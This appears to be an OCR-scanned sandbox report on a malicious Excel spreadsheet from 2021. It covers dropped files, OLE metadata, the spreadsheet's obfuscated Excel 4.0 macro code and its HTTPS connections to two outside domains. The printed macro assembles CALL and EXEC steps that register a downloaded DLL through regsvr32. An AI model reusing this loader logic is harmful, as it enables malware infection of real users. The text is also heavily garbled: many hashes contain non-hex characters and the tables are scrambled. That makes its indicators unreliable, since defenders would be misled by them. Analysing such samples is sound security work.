SHA-256: 53B1CD43DC8BC4720ED891518ADC719064E4313E57D4AB4869D42B971686017A

SHA-512: 3B6C4A495D89D93D4CE7737602FBCO01A73E475CAB7962929BA2C059D66DD8901961429CE9F41C2B84DID3ABDBDDIVAIFIAA3A9505C2638582BCA4852A13A61
5

Malicious: false

Reputation: low

Preview:

.hittp../lap.p.s..iden.trus.t..c.om./ro.o0.ts./ds.tro.otcax.3..p.7.c."3.7.d.-5b.f.8.

C:\Users\user\AppData\Local\Temp\CabFE6C.tmp E

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: Microsoft Cabinet archive data, 59863 bytes, 1 file

Category: dropped

Size (bytes): 59863

Entropy (8bit):  7.99556910241083

Encrypted: true

SSDEEP: 1536:Gs6cdy9E/ABKQPOrdweEz480zdPMHXNY/gLHfIZN:GNOqOrdDdJPAX1LHA/

MD5: 15775D95513782F99CDFB17E65DFCEBL

SHA1L: 6C11F8BEE799B093F9FF4841E31041B081B23388

SHA-256: 477A9559194EDF48848FCE59E05105168745A46BDC0871EA742A2588CA9FBEOO

SHA-512: AC09CE01122D7A837BD70277BADD58FF71D8C5335F8FC599D5E3ED42C8FEE2108DD043BCES62C82BA12A81B9B08BD24B961C0961BF8FD3A0B8341C87483CD
E7

Malicious: false

Reputation: moderate, very likely benign file

Preview:

........ n7R...p!_.+.<.AWt=. .sV...90..CD./.s.\#.t#..s..Jeiu..B$.....8..(g..tJ....=,...r.d.].xgX4.......0.
..AP8.A.<...7S.L...S..~R.).hgS...DK.6j....u_.0.(4g....},.L".....h.a]?.....J9.\. Ww........ %........ 4E...
..z..j.Ds...Z.. ..N<.d.?<...b..,..n. 9.3.+9T.%....5.YK.E.V...aD.0...Y../le.7...c.
2.

....0.QA.0.M<.&ab
g A=A u2 X~
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C:\Users\user\AppData\Local\Temp\D3FE0000

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 81246

Entropy (8bit): 7.9064787143098325

Encrypted: false

SSDEEP: 1536:TeKmfTW8SDcn9iZtJOXAQR2KtCbuMB/yDL4D5Kzhl4AICh/OT: TALW8SD8YZo/UhOGUzEic

MDS5: 132C150FD93D8D1E162723735B0C03B6

SHA1L: FEF98600D50AB75D3D977AE85BC74133D33772CE

SHA-256: B139A73E4DD21CD541F1EEOD959DE1965C2003BD4087A7FF494E4AFD3499267C

SHA-512: 438C5AC50CFDD1D93A27B239255734CB66E45FFB13C479533C7BB3C26E07CD4E9A72E2408C1DCFEFO9E264AC5E7FF551E7B7E770C1D60109D9BF1362B970BL
A

Malicious: false

Preview:
.U.n0...72.......C..I?.&.an.0........ %..h!..y...5..D....... J..e...0.$..;h....,>.?m.'Eh.-.S..9G.....fV>Z..5v<........ +..%p.N..-.?a%.M.n74.s..U?v.e....".Q...HW+-Ay.l....A(...5M.
.#.D.1'5.4...iD..G.....B.R...PX.(..5.~.F..z.1. Ki.>....$9L.51$..$.X!..ubi..vo..($.r.1..&9.~.B<..j.P._T..A&C.....Q.J..[....Ik. GD7e.H.{ A=§&,j....{....5[....5....}@].......2..
D.1i8..S..H.q..Qg.|H(P"y9.......... PKoee L9 [Content_Types].Xml ...(cccccooeeiiiiiiiiieieiees ..

C:\Users\luser\AppData\Local\Temp\TarFE6D.tmp

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 156386

Entropy (8bit): 6.3086528024913715

Encrypted: false

SSDEEP: 1536:Z116c79JjgCyrYBWsWimp4Ydm6Caku2SWsz00D8reJgMnI3XIMyGr:ZBUJcCyZfdmoku2SL3kMnBGyA

MD5: 78CABD9F1AFFF17BB91A105CF4702188

SHA1L: 52FA8144D1FC5F92DEB45E53F076BCC69F5D8CC7

SHA-256: C7B6743B228E40B19443E471081A51041974801D325DB4ED8FD73A1A24CBD066

SHA-512: FOBF5DFBAB47CC6A3D1BF03CEC3FDDAB4537DB756DA97E6D93CF08ASC750EABDFBF7FCF7EBDFFF04326617E43F0D767E5A2B7B68C548C6D9C48F364938811
62B

Malicious: false

Preview:

0.R..+...7....RO.RO..4+. .7 ... 5XY._...210419201239Z0...+
5084701 @V %..%..S.Y.00. . +.....7..b1". ].L4> X LEW..
flulve %10 4. 7006 M0+ T~ 0..4....7..1...0..+......
.7.2..Gy.cS.0D..+.....7...16.4V.e.r.i.S.i.g.n. .T..m.e. .S.tam.p.in.g. .C.A..0.....4..R...2.7.. ..1..0..+.

0.R.0.*.....@.,..0..0.r1...0..4....7..~1......D...0...+.....7..i1...0
-@w0Z..+.....7...1L.JM.i.c.r.o.s.0.f.t. .R.0.0.t. .C.e.rtifi.c.a.
..b0$..+.....7...1..>)....5,.=$.~R."..00.

te. . Auth.ority..0..,..
Aol 70b1 X[ 3x

L7010 ol AL LLJ@0%. +. L 7.0 1 W FLL9INLLL 00, . 701 @G d..m.$.... . X, 0B +.....7...14.2M.i.c.r.0.s.0.f.t. .R.0.0.t. .A.u.t.h.0

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent\32154f4c_by_ Libranalysis.LNK

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed May 12 19:35:28 2021, mtime=Wed May 12 19:35:47 2021,
atime=Wed May 12 19:35:48 2021, length=174080, window=hide

Category: dropped

Size (bytes): 2168

Entropy (8bit): 4.574150878114123

Encrypted: false

SSDEEP: 48:8Qny/XT0j1pOE+viINeOE6fQh2Qny/XTOj1pOE+viNeOE6fQ/:8N/XojLF4fNeF6fQh2N/XojLF4fNeF61

MD5: 4346ATE4F04071655DD3FCD2F774D7B9

SHA1L: 94DC353D37A73E141F8409ABD6A8655B46B49F40

SHA-256: 8F23D97303319B2FB7413ADD6079F0E703262CE45506279F71B5A28B68109940

SHA-512: DF447361FF5A4D2B0D1B3B979E7F8FE473942016E16C7DABA47B31C023A35ED216BAB5SFDBED0515AA5B51479BA671A6717DBB83487BCFB63D600F62B23BF86"
9

Malicious: false

Preview:

............. t.1.....QK.X..Users. ...
Ro...Desktop.d......QK.X.Ro.*..
...3.2.154f4.c_by._.Libranalys.is..xls...

QKX 6....Us.ers..@.s.hell3.2.dll,
D.e.sk.t.o.p..@.s.h.ell3.2..d.|

8o ?J.....C:\Users\.#....

Q.y..user.8...... QK. X.Q.y*...&=....
1.7.6.9......2.....Rr. .32154F~1.XLS.f......R0..R0.*....%...

........ \\585948\Users.user\Desktop\32154f4c_by_Libranalysis.xIs.3.....\....\....\...\...\.D.e.s.k.t.0.p\.3.2.1.5.4.f.4.c._.by._.Libranalys.is..xls.......,LB.)..Ag......
...... 1SPS.XF.L8C...&m.m............~...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6............ ... X

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Wed May 12
19:35:47 2021, atime=Wed May 12 19:35:47 2021, length=8192, window=hide

Category: dropped

Size (bytes): 867

Entropy (8bit):  4.5030546114179275
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C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

false
12:85QyynLgXg/XAICPCHaXtB8XzB/yHX+WnicvbQbDtZ3YiIMMEpxRIJKHIOUTAJIP90:854/XTd6jlYegDv3qc4rNru/
36741B5AF03D1D334A06BFFBADDDE9SE

AB64B8A950F79603745E62C67372314FB8I64A64
3E310AD570BD89DFCABESDC7E6FC390906821C89BB82D1ASFI8ASAEE24DB419E

5BD101A88B9E62F84B57361A2EC4CE4CCAES70B8E9B8471ESAFEC647E1A3858002E4FFB52B9E2AESBASBSED79811549D37A2E2CF0B2B2C80A1A45E7EBAAAAQ
962

false

PO 400, /C t.1....QKX.Users. .........QK. X ..o 6....Us.ers..@.s.hell3.2..dll,.-
QK X.Quy*...&=...U Alb.us....z.1.....Rx...Desktop.d...... QK. X.Rx.* ....D.esskto.p..@.s.h.ell3.2.dll,.-2.1.
?J.....C:\Users\..#.. \585948\Users.user\Desktop \ .LB.)... 1SPS.XF.L8C

..&mm...........-...S.-.1.-5.-.2.1.-9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6............."...... X......585948.......... D_..3N..W..9r[*.... JEKD_...3N..W

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

ASCII text, with CRLF line terminators

dropped

125

4.822522284712134

false
3:0yBVomMOEQpHcPHUwWSLMp6I1ZYHcPHUWSLMp6IMMOEQpHCcPHUWSLMp6Iv:djemHOONJYHOONbmHOONT
B7A52998A3B86255953128181AB7A839

80E63D6497124D294567BAD1B5D84A196D187F12
68BOAEODB03580F4DFBA2B3B62FE7AA04C26E7FFA8385D30FA50942545825A62

4C277FA54C80B96C82A527699AFAS56725E91CCDB5C253DA4EE14A610D22DA7F8ACAS4A39B6BEE139F52FD13A8F29D83BE3B8FDD5757CESE220EB93DBID92B
E91

false

Desktop.LNK=0..[xIs]..32154f4c_by_Libranalysis.LNK=0..32154f4c_by_Libranalysis.LNK=0..[xIs]..32154f4c_by_Libranalysis.LNK=0..

C:\Users\user\Desktop\05FE0000

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

Applesoft BASIC program data, first line number 16

dropped

205059

5.644377479918321

false

3072:318i+eSD8YNoTU90f70Pzn3b0X7vrPIsrXvLR7nLBI8i4X:r+eTrTU9ump4X
EB400B4BBE8666558AF192A504CA8395
46384E4D7B01774AB1891E4E2C06D0222BD7F93C
66AF904B3D7ADA6COF49609665906D9F05E7E70095B8A318AB269E6EFA8534BC
A04818005C694255BE23B1F73F35766FF1E33FF12F3B59B0OE761B68498F506FCF7BB5C3EC71470E2B54B86D021079DC0712F5E5F3E3E025F042545320B420A36

false

B....a.
Calibril...........Ariall. ... Ariall....... Ariall..
Ariall...8......Ariall...<....Ariall...4.. . A’riall...4....Ariall.h.8.....Cambrial.....
CArdallosocArndallo e Ariall........... Ariall...... LAriallo....Calib.ril.
Ll Ariall.........

g2..

Static File Info

General

File type:

Entropy (8bit):
TriD:

File name:

File size:

Composite Document File V2 Document, Little Endian,
Os: Windows, Version 6.2, Code page: 1251, Author:
van-van, Last Saved By: vi-vi, Name of Creating
Application: Microsoft Excel, Create Time/Date: Sat Sep
16 01:00:00 2006, Last Saved Time/Date: Wed May 12
08:24:11 2021, Security: 0

3.258986427712615

e Microsoft Excel sheet (30009/1) 78.94%
e Generic OLE2 / Multistream Compound File
(8008/1) 21.06%

32154f4c_by_Libranalysis.xls
375808
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General
MD5:
SHAL:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static OLE Info

General
Document Type:

Number of OLE Files:

OLE File "32154f4c_by_Libranalysis.xIs"

Indicators

Has Summary Info:

Application Name:

Encrypted Document:

Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros:

Summary

Code Page:

Author:

Last Saved By:
Create Time:

Last Saved Time:
Creating Application:

Security:

Document Summary
Document Code Page:
Thumbnail Scaling Desired:

Contains Dirty Links:

Streams

edeea286adb4bcb4

OLE

True
Microsoft Excel
False
False
True
False

False

True

1251

van-van

Vi-vi

2006-09-16 00:00:00
2021-05-12 07:24:11
Microsoft Excel

0

1251
False

False

Stream Path: \x5DocumentSummarylnformation, File Type: data, Stream Size: 4096

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:

Copyright Joe Security LLC 2021

\x5DocumentSummarylnformation
data

4096

0.287037498961

False

32154f4¢3997¢4c3d695bf52704e5302
4e47b10ce837d78b31bbcf5h37622488a8c436¢9

€92b6793b9457a9f0909c33a41f04a6d34389dce626d5ee
bcec7a2384270f53b

b73f732e45c2f49f4153209c97e84fh49b3a3367b2ca68e
327c¢13f450daecefca885e59966ef25cfc3558c36a9f0257
ffcocOceOaallla69a7d068eace273790

3072:Q8UGHV2tt/BI/s/C/i/R/7/3/UQ/OhP/2/a/1/\/T/tbHm
7H9G4I+s2k3zN4sbc5:vUGAt6Uqa5DPAG9uS9QLp4l+
s+E8
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General

Data ASCIL: .0 0O....... 8.....
@....... H....... S Docl..... Doc:z
..... Doc3.....D0C4 ... ... i EXxcel
A0

Data Raw: fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5

cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 b4 00 00 00 05 00 00 00 01 00 00 00
30 00 00 00 Ob 00 00 00 38 00 00 00 10 00 00 00 40 00 00 00 0d 00 00 00 48 00 00 00 Oc 00
00 00 74 00 00 00 02 00 00 00 e3 04 00 00 Ob 00 00 00 00 00 00 00 Ob 00 00 00 00 00 00 00
1e 10 00 00 04 00 00 00

Stream Path: \x5Summaryinformation, File Type: data, Stream Size: 4096

General

Stream Path: \x5Summaryinformation

File Type: data

Stream Size: 4096

Entropy: 0.290777742057

Base64 Encoded: False

Data ASCII:

Data Raw: fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f

f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 a0 00 00 00 07 00 00 00 01 00 00 00 40
00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 58 00 00 00 12 00 00 00 68 00 00 00 Oc 00 00
00 80 00 00 00 0d 00 00 00 8c 00 00 00 13 00 00 00 98 00 00 00 02 00 00 00 €3 04 00 00 1e
00 00 00 08 00 00 00

Stream Path: Book, File Type: Applesoft BASIC program data, first line number 8, Stream Size: 363283

General

Stream Path: Book

File Type: Applesoft BASIC program data, first line number 8

Stream Size: 363283

Entropy: 3.24522262131

Base64 Encoded: True

Data ASCIl: T W.p..vi-vi
B Doc3............... ... _xIfn.AGGREGATE....
................ _xIfn.F.INV.RT....!.

Data Raw: 09 08 08 00 00 05 05 00 17 37 cd 07 e1 00 00 00 c1 00 02 00 00 00 bf 00 00 00 cO 00 00 00

€2 00 00 00 5c 00 70 00 05 76 69 2d 76 69 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2020 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2020 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
202020 20 20 20 20 20

Macro 4.0 Code

CALL(Doc3!AU10,Doc3!AU11,Doc3!AU12,0,Doc3!AU13,Doc3!BC17,0,!AL21)=CALL(Doc3!AU10,Doc3!AU11,Doc3!AU12,0,Doc3!AU14,Doc3!BC18&"1",0,!AL21)=RUN(Doc4!AM6)

s =RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(452354,45245)=RAND()=FACT(59)=SUMX
MY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(45
2354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY 2(452354,45245)=RAND()=FACT (59)=SUMXMY 2(452354,45
245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY 2(452354,45245)=RAND()=FACT (59)=SUMXMY2(452354,45245)=R
AND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=FORMULA(before.3.5.0.sheet!AZ39&BA39&before.3.5.0.sheet!BB39&before.3.5.0.sheet!BC39,before.3.5.0
.sheet!AU13)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,4
5245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=
RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY2(452354,45245)=RAND()
=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(
59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)",.........resmsssmmsssmssssmsssmsssssssnsssssssns “SRAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(45
2354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY 2(452354,45245)=RAND()=FACT (59)=SUMXMY 2(452354,45245)=RAND()=FACT (59)=SUMXMY 2(452354,45
245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY 2(452354,45245)=RAND()=FACT (59)=SUMXMY 2(452354,45245)=RAND()=FACT (59)=SUMXMY2(452354,45245)=R
AND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY 2(452354,45245)=RAND()=FACT (59)=SUMXMY 2(452354,45245)=RAND()=FACT (59)=SUMXMY 2(452354,45245)=RAND()=
FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=FORMULA (befor
e.3.5.0.sheet!AZ40&BA40&before.3.5.0.sheet!BB40&before.3.5.0.sheet!BC40,before.3.5.0.sheet! AU14)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(452354,45245)=
RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY2(452354,45245)=RAND()
=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(
59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SU
MXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)",.,.....1s11s1ss1s0smmsmmssmsssnsmsssninns
s =RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(452354,45245)=RAND()=FACT(59)=SUMXMY
52354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,4
5245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(452354,45245)=
RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(452354,45245)=RAND()
=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=FORMULA(""U""&before.3.5.0.sheet!BC25&before.3.5.0.sheet!B
C29&before.3.5.0.sheet!BF28&before.3.5.0.sheet!BC28&before.3.5.0.sheet!BC31&before.3.5.0.sheet!BF29&""'A™" before.3.5.0.she

"=CALL(Doc3!AU10,Doc3!AU11,Doc3!AU12,0,Doc3!AU13,Doc3!BC17,0,!AL21)=CALL(Doc3!AU10,Doc3!AU11,Doc3!AU12,0,Doc3!AU14,Doc3!BC18&™'1™,0,!/AL21)=RUN(Doc4!AM6)"

"=MDETERM(56241452475)=EXEC(Doc3!BB22&Doc3!BB238&Doc3!BB24&Doc3!BB30&"2 "'&Doc3!BC17&D0c3!BD31& ™ IRegi™ & 'ster'&. " Ser" & "ver"")=EXEC(Doc3!BB22&Doc3!BB23&Doc3!BB24&D
0c3!BB30&"2 "'&Doc3!BC18&"1""&Doc3!BD31& " IRegi" & "ster""&. " Ser"&""ver"")=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDET
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ERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(5
6241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(562414
52475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=RUN(Doc3!AY22)"

Network Behavior

TCP Packets

Timestamp Source Port Dest Port Source IP Dest IP

May 12, 2021 13:36:18.637072086 CEST 49167 443 192.168.2.22 192.185.39.58
May 12, 2021 13:36:18.795433044 CEST 443 49167 192.185.39.58 192.168.2.22
May 12, 2021 13:36:18.795515060 CEST 49167 443 192.168.2.22 192.185.39.58
May 12, 2021 13:36:18.806746960 CEST 49167 443 192.168.2.22 192.185.39.58
May 12, 2021 13:36:18.965063095 CEST 443 49167 192.185.39.58 192.168.2.22
May 12, 2021 13:36:18.977941990 CEST 443 49167 192.185.39.58 192.168.2.22
May 12, 2021 13:36:18.977979898 CEST 443 49167 192.185.39.58 192.168.2.22
May 12, 2021 13:36:18.978003025 CEST 443 49167 192.185.39.58 192.168.2.22
May 12, 2021 13:36:18.978024960 CEST 49167 443 192.168.2.22 192.185.39.58
May 12, 2021 13:36:18.978048086 CEST 49167 443 192.168.2.22 192.185.39.58
May 12, 2021 13:36:18.978049994 CEST 49167 443 192.168.2.22 192.185.39.58
May 12, 2021 13:36:19.027759075 CEST 49167 443 192.168.2.22 192.185.39.58
May 12, 2021 13:36:19.195558071 CEST 443 49167 192.185.39.58 192.168.2.22
May 12, 2021 13:36:19.195733070 CEST 49167 443 192.168.2.22 192.185.39.58
May 12, 2021 13:36:21.040438890 CEST 49167 443 192.168.2.22 192.185.39.58
May 12, 2021 13:36:21.238861084 CEST 443 49167 192.185.39.58 192.168.2.22
May 12, 2021 13:36:21.293229103 CEST 443 49167 192.185.39.58 192.168.2.22
May 12, 2021 13:36:21.293401957 CEST 49167 443 192.168.2.22 192.185.39.58
May 12, 2021 13:36:21.293663979 CEST 49167 443 192.168.2.22 192.185.39.58
May 12, 2021 13:36:21.293690920 CEST 443 49167 192.185.39.58 192.168.2.22
May 12, 2021 13:36:21.293746948 CEST 49167 443 192.168.2.22 192.185.39.58
May 12, 2021 13:36:21.364733934 CEST 49170 443 192.168.2.22 192.185.32.232
May 12, 2021 13:36:21.451880932 CEST 443 49167 192.185.39.58 192.168.2.22
May 12, 2021 13:36:21.527550936 CEST 443 49170 192.185.32.232 192.168.2.22
May 12, 2021 13:36:21.527684927 CEST 49170 443 192.168.2.22 192.185.32.232
May 12, 2021 13:36:21.528297901 CEST 49170 443 192.168.2.22 192.185.32.232
May 12, 2021 13:36:21.692147970 CEST 443 49170 192.185.32.232 192.168.2.22
May 12, 2021 13:36:21.704421997 CEST 443 49170 192.185.32.232 192.168.2.22
May 12, 2021 13:36:21.704468966 CEST 443 49170 192.185.32.232 192.168.2.22
May 12, 2021 13:36:21.704494953 CEST 443 49170 192.185.32.232 192.168.2.22
May 12, 2021 13:36:21.704571962 CEST 49170 443 192.168.2.22 192.185.32.232
May 12, 2021 13:36:21.704610109 CEST 49170 443 192.168.2.22 192.185.32.232
May 12, 2021 13:36:22.068232059 CEST 49170 443 192.168.2.22 192.185.32.232
May 12, 2021 13:36:22.272583008 CEST 443 49170 192.185.32.232 192.168.2.22
May 12, 2021 13:36:22.303575039 CEST 443 49170 192.185.32.232 192.168.2.22
May 12, 2021 13:36:22.303756952 CEST 49170 443 192.168.2.22 192.185.32.232
May 12, 2021 13:36:22.350397110 CEST 49170 443 192.168.2.22 192.185.32.232
May 12, 2021 13:36:22.513715982 CEST 443 49170 192.185.32.232 192.168.2.22
May 12, 2021 13:36:22.932055950 CEST 443 49170 192.185.32.232 192.168.2.22
May 12, 2021 13:36:22.932288885 CEST 49170 443 192.168.2.22 192.185.32.232
May 12, 2021 13:36:22.932543993 CEST 443 49170 192.185.32.232 192.168.2.22
May 12, 2021 13:36:22.932643890 CEST 49170 443 192.168.2.22 192.185.32.232
May 12, 2021 13:36:22.933046103 CEST 49170 443 192.168.2.22 192.185.32.232
May 12, 2021 13:36:23.095694065 CEST 443 49170 192.185.32.232 192.168.2.22

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP
May 12, 2021 13:36:18.566679001 CEST 52197 53 192.168.2.22 8.8.8.8
May 12, 2021 13:36:18.626218081 CEST 53 52197 8.8.8.8 192.168.2.22
May 12, 2021 13:36:19.562846899 CEST 53099 53 192.168.2.22 8.8.8.8
May 12, 2021 13:36:19.611628056 CEST 53 53099 8.8.8.8 192.168.2.22
May 12, 2021 13:36:19.619761944 CEST 52838 53 192.168.2.22 8.8.8.8
May 12, 2021 13:36:19.668454885 CEST 53 52838 8.8.8.8 192.168.2.22
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Timestamp

May 12, 2021 13:36:20.234469891 CEST
May 12, 2021 13:36:20.293826103 CEST
May 12, 2021 13:36:20.307723045 CEST
May 12, 2021 13:36:20.359381914 CEST
May 12, 2021 13:36:21.310321093 CEST
May 12, 2021 13:36:21.361804008 CEST

DNS Queries
Timestamp Source IP
May 12, 2021 13:36:18.566679001 CEST 192.168.2.22
May 12, 2021 13:36:21.310321093 CEST 192.168.2.22
DNS Answers
Timestamp Source IP Dest IP Trans ID
May 12, 2021 8.8.8.8 192.168.2.22 0x887e
13:36:18.626218081
CEST
May 12, 2021 8.8.8.8 192.168.2.22 0xc5f8
13:36:21.361804008
CEST
HTTPS Packets

Source Dest
Timestamp Source IP Port Dest IP Port
May 12, 2021 192.185.39.58 443 192.168.2.22 49167

13:36:18.978003025
CEST

May 12, 2021
13:36:21.704494953
CEST

192.185.32.232 443

Code Manipulations

Statistics

Behavior

Copyright Joe Security LLC 2021

192.168.2.22 49170

Source Port Dest Port Source IP
61200 53 192.168.2.22
53 61200 8.8.8.8
49548 53 192.168.2.22
53 49548 8.8.8.8
55627 53 192.168.2.22
53 55627 8.8.8.8
Dest IP Trans ID OP Code
8.8.8.8 0x887e Standard query
(0)
8.8.8.8 0xc5f8 Standard query
(0)
Reply Code Name CName
No error (0) signifysys
tem.com
No error (0) fcventasys
ervicios.cl
Not
Subject Issuer Before
CN=cpcontacts.signifysystem.c CN=R3, O=Let's Thu Apr
om CN=RS3, O=Let's Encrypt, Encrypt, C=US 01
C=USs CN=DST Root CA 17:00:25
X3, O=Digital CEST
Signature Trust 2021
Co. Wed Oct
07
21:21:40
CEST
2020
CN=R3, O=Let's Encrypt, CN=DST Root CA Wed Oct
C=USs X3, O=Digital 07
Signature Trust 21:21:40
Co. CEST
2020
CN=mail.fcventasyservicios.cl CN=R3, O=Let's Tue Mar
CN=R3, O=Let's Encrypt, Encrypt, C=US 16
C=USs CN=DST Root CA 13:01:12
X3, O=Digital CET
Signature Trust 2021
Co. Wed Oct
07
21:21:40
CEST
2020
CN=R3, O=Let's Encrypt, CN=DST Root CA Wed Oct
C=USs X3, O=Digital 07
Signature Trust 21:21:40
Co. CEST
2020

Name

signifysys

tem.com

fcventasys

Dest IP
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22

Type
A (IP address)

A (IP address)

ervicios.cl

Address

192.185

192.185

Not
After

Wed

Jun 30
17:00:25
CEST
2021
Wed
Sep 29
21:21:40
CEST
2021

Wed
Sep 29
21:21:40
CEST
2021

Mon Jun
14
14:01:12
CEST
2021
Wed
Sep 29
21:21:40
CEST
2021

Wed
Sep 29
21:21:40
CEST
2021

.39.58

.32.232

Type
A (IP address)

A (IP address)

JA3 SSL Client

Class

IN (0x0001)

IN (0x0001)

Class

IN (0x0001)

